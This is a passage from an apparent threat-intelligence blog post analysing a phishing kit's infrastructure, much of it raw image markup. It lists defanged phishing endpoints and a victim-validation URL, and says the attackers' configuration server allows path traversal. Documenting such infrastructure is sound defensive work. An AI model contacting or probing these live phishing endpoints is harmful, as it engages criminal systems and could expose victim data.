data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/6d154209-df47-41ef-aa20-a537cdc4e367_1398x964.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:964,&quot;width&quot;:1398,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:230638,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/186779773?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6d154209-df47-41ef-aa20-a537cdc4e367_1398x964.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!9a2x!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6d154209-df47-41ef-aa20-a537cdc4e367_1398x964.png 424w, https://substackcdn.com/image/fetch/$s_!9a2x!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6d154209-df47-41ef-aa20-a537cdc4e367_1398x964.png 848w, https://substackcdn.com/image/fetch/$s_!9a2x!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6d154209-df47-41ef-aa20-a537cdc4e367_1398x964.png 1272w, https://substackcdn.com/image/fetch/$s_!9a2x!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6d154209-df47-41ef-aa20-a537cdc4e367_1398x964.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div><hr></div><h2>Phishing Infrastructure</h2><p>Throughout the attack, several endpoints were contacted that controlled the phishing infrastructure. One of these endpoints is part of the publicly reachable phishing kit and performs a server-side check to confirm that the client executed the required JavaScript and passed fingerprinting verification.</p><p>Observed endpoints:</p><pre><code>https://kleavbre[.]site/r/cls/verified_server.php?challenge=1

https://kleavbre[.]site/r/cls/verified_server.php?t=d936999cd400bbef77cec0c344cd5710&amp;n=16</code></pre><p>These requests function as execution confirmation signals. The endpoints must be publicly accessible for the kit to operate, which makes them inherently observable.</p><p>Using these endpoints, it was possible to locate an exposed configuration server containing key parts of the phishing infrastructure, including victim verification files, domain configuration data, proxy lists, and other operational files.</p><div><hr></div><h4>Exposed Configuration Server</h4><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!y1O_!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcadcfe32-b0ff-4e69-9bd4-ecde52dd97c0_1860x964.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!y1O_!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcadcfe32-b0ff-4e69-9bd4-ecde52dd97c0_1860x964.png 424w, https://substackcdn.com/image/fetch/$s_!y1O_!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcadcfe32-b0ff-4e69-9bd4-ecde52dd97c0_1860x964.png 848w, https://substackcdn.com/image/fetch/$s_!y1O_!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcadcfe32-b0ff-4e69-9bd4-ecde52dd97c0_1860x964.png 1272w, https://substackcdn.com/image/fetch/$s_!y1O_!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcadcfe32-b0ff-4e69-9bd4-ecde52dd97c0_1860x964.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!y1O_!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcadcfe32-b0ff-4e69-9bd4-ecde52dd97c0_1860x964.png" width="1456" height="755" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/cadcfe32-b0ff-4e69-9bd4-ecde52dd97c0_1860x964.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:755,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:216160,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/186779773?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcadcfe32-b0ff-4e69-9bd4-ecde52dd97c0_1860x964.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!y1O_!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcadcfe32-b0ff-4e69-9bd4-ecde52dd97c0_1860x964.png 424w, https://substackcdn.com/image/fetch/$s_!y1O_!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcadcfe32-b0ff-4e69-9bd4-ecde52dd97c0_1860x964.png 848w, https://substackcdn.com/image/fetch/$s_!y1O_!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcadcfe32-b0ff-4e69-9bd4-ecde52dd97c0_1860x964.png 1272w, https://substackcdn.com/image/fetch/$s_!y1O_!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcadcfe32-b0ff-4e69-9bd4-ecde52dd97c0_1860x964.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>The server is poorly restricted. Files are not protected and path traversal is possible by modifying URLs in the browser. This means anyone with knowledge of the endpoint structure can access configuration files directly.</p><p>The server stores operational data needed for the phishing kit to function, which explains why these resources are publicly accessible despite the security risk to the attacker. Most of the files are unprotected as well.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!4a3-!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe13163e9-1249-4a7f-bd9e-bc8ae399556d_2796x1850.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!4a3-!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe13163e9-1249-4a7f-bd9e-bc8ae399556d_2796x1850.png 424w, https://substackcdn.com/image/fetch/$s_!4a3-!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe13163e9-1249-4a7f-bd9e-bc8ae399556d_2796x1850.png 848w, https://substackcdn.com/image/fetch/$s_!4a3-!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe13163e9-1249-4a7f-bd9e-bc8ae399556d_2796x1850.png 1272w, https://substackcdn.com/image/fetch/$s_!4a3-!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe13163e9-1249-4a7f-bd9e-bc8ae399556d_2796x1850.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!4a3-!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe13163e9-1249-4a7f-bd9e-bc8ae399556d_2796x1850.png" width="1456" height="963" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/e13163e9-1249-4a7f-bd9e-bc8ae399556d_2796x1850.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:963,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:399684,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:&quot;&quot;,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/186779773?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe13163e9-1249-4a7f-bd9e-bc8ae399556d_2796x1850.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!4a3-!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe13163e9-1249-4a7f-bd9e-bc8ae399556d_2796x1850.png 424w, https://substackcdn.com/image/fetch/$s_!4a3-!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe13163e9-1249-4a7f-bd9e-bc8ae399556d_2796x1850.png 848w, https://substackcdn.com/image/fetch/$s_!4a3-!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe13163e9-1249-4a7f-bd9e-bc8ae399556d_2796x1850.png 1272w, https://substackcdn.com/image/fetch/$s_!4a3-!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe13163e9-1249-4a7f-bd9e-bc8ae399556d_2796x1850.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!f_YX!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdd937025-37cd-4700-8787-3ddbb023f98f_2798x886.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!f_YX!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdd937025-37cd-4700-8787-3ddbb023f98f_2798x886.png 424w, https://substackcdn.com/image/fetch/$s_!f_YX!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdd937025-37cd-4700-8787-3ddbb023f98f_2798x886.png 848w, https://substackcdn.com/image/fetch/$s_!f_YX!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdd937025-37cd-4700-8787-3ddbb023f98f_2798x886.png 1272w, https://substackcdn.com/image/fetch/$s_!f_YX!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdd937025-37cd-4700-8787-3ddbb023f98f_2798x886.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!f_YX!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdd937025-37cd-4700-8787-3ddbb023f98f_2798x886.png" width="1456" height="461" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/dd937025-37cd-4700-8787-3ddbb023f98f_2798x886.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:461,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:190326,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/186779773?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdd937025-37cd-4700-8787-3ddbb023f98f_2798x886.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!f_YX!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdd937025-37cd-4700-8787-3ddbb023f98f_2798x886.png 424w, https://substackcdn.com/image/fetch/$s_!f_YX!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdd937025-37cd-4700-8787-3ddbb023f98f_2798x886.png 848w, https://substackcdn.com/image/fetch/$s_!f_YX!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdd937025-37cd-4700-8787-3ddbb023f98f_2798x886.png 1272w, https://substackcdn.com/image/fetch/$s_!f_YX!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdd937025-37cd-4700-8787-3ddbb023f98f_2798x886.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!L4Te!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F13b268c6-127d-4173-bdab-9df1ca7127da_2808x1408.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!L4Te!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F13b268c6-127d-4173-bdab-9df1ca7127da_2808x1408.png 424w, https://substackcdn.com/image/fetch/$s_!L4Te!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F13b268c6-127d-4173-bdab-9df1ca7127da_2808x1408.png 848w, https://substackcdn.com/image/fetch/$s_!L4Te!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F13b268c6-127d-4173-bdab-9df1ca7127da_2808x1408.png 1272w, https://substackcdn.com/image/fetch/$s_!L4Te!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F13b268c6-127d-4173-bdab-9df1ca7127da_2808x1408.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!L4Te!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F13b268c6-127d-4173-bdab-9df1ca7127da_2808x1408.png" width="1456" height="730" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/13b268c6-127d-4173-bdab-9df1ca7127da_2808x1408.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:730,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:271996,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/186779773?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F13b268c6-127d-4173-bdab-9df1ca7127da_2808x1408.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!L4Te!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F13b268c6-127d-4173-bdab-9df1ca7127da_2808x1408.png 424w, https://substackcdn.com/image/fetch/$s_!L4Te!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F13b268c6-127d-4173-bdab-9df1ca7127da_2808x1408.png 848w, https://substackcdn.com/image/fetch/$s_!L4Te!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F13b268c6-127d-4173-bdab-9df1ca7127da_2808x1408.png 1272w, https://substackcdn.com/image/fetch/$s_!L4Te!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F13b268c6-127d-4173-bdab-9df1ca7127da_2808x1408.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div><hr></div><h3>Victim Validation API</h3><p>Another endpoint located validates victim identifiers before serving follow-up content. The endpoint with the decoded victim hash value like this:</p><pre><code><code>https://cz6c3k7wpak7f5cwl59mz1mszsj7ehjl.autum[.]sbs/first-landers?hash=26GIHKO</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!jkIb!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4774514d-fece-4c1a-a519-1fd94bb64a3a_1928x1444.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!jkIb!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4774514d-fece-4c1a-a519-1fd94bb64a3a_1928x1444.png 424w, https://substackcdn.com/image/fetch/$s_!jkIb!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4774514d-fece-4c1a-a519-1fd94bb64a3a_1928x1444.png 848w, https://substackcdn.com/image/fetch/$s_!jkIb!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4774514d-fece-4c1a-a519-1fd94bb64a3a_1928x1444.png 1272w, https://substackcdn.com/image/fetch/$s_!jkIb!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4774514d-fece-4c1a-a519-1fd94bb64a3a_1928x1444.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!jkIb!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4774514d-fece-4c1a-a519-1fd94bb64a3a_1928x1444.png" width="1456" height="1090" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/4774514d-fece-4c1a-a519-1fd94bb64a3a_1928x1444.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1090,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:406043,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/186779773?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4774514d-fece-4c1a-a519-1fd94bb64a3a_1928x1444.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!jkIb!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4774514d-fece-4c1a-a519-1fd94bb64a3a_1928x1444.png 424w, https://substackcdn.com/image/fetch/$s_!jkIb!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4774514d-fece-4c1a-a519-1fd94bb64a3a_1928x1444.png 848w, https://substackcdn.com/image/fetch/$s_!jkIb!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4774514d-fece-4c1a-a519-1fd94bb64a3a_1928x1444.png 1272w, 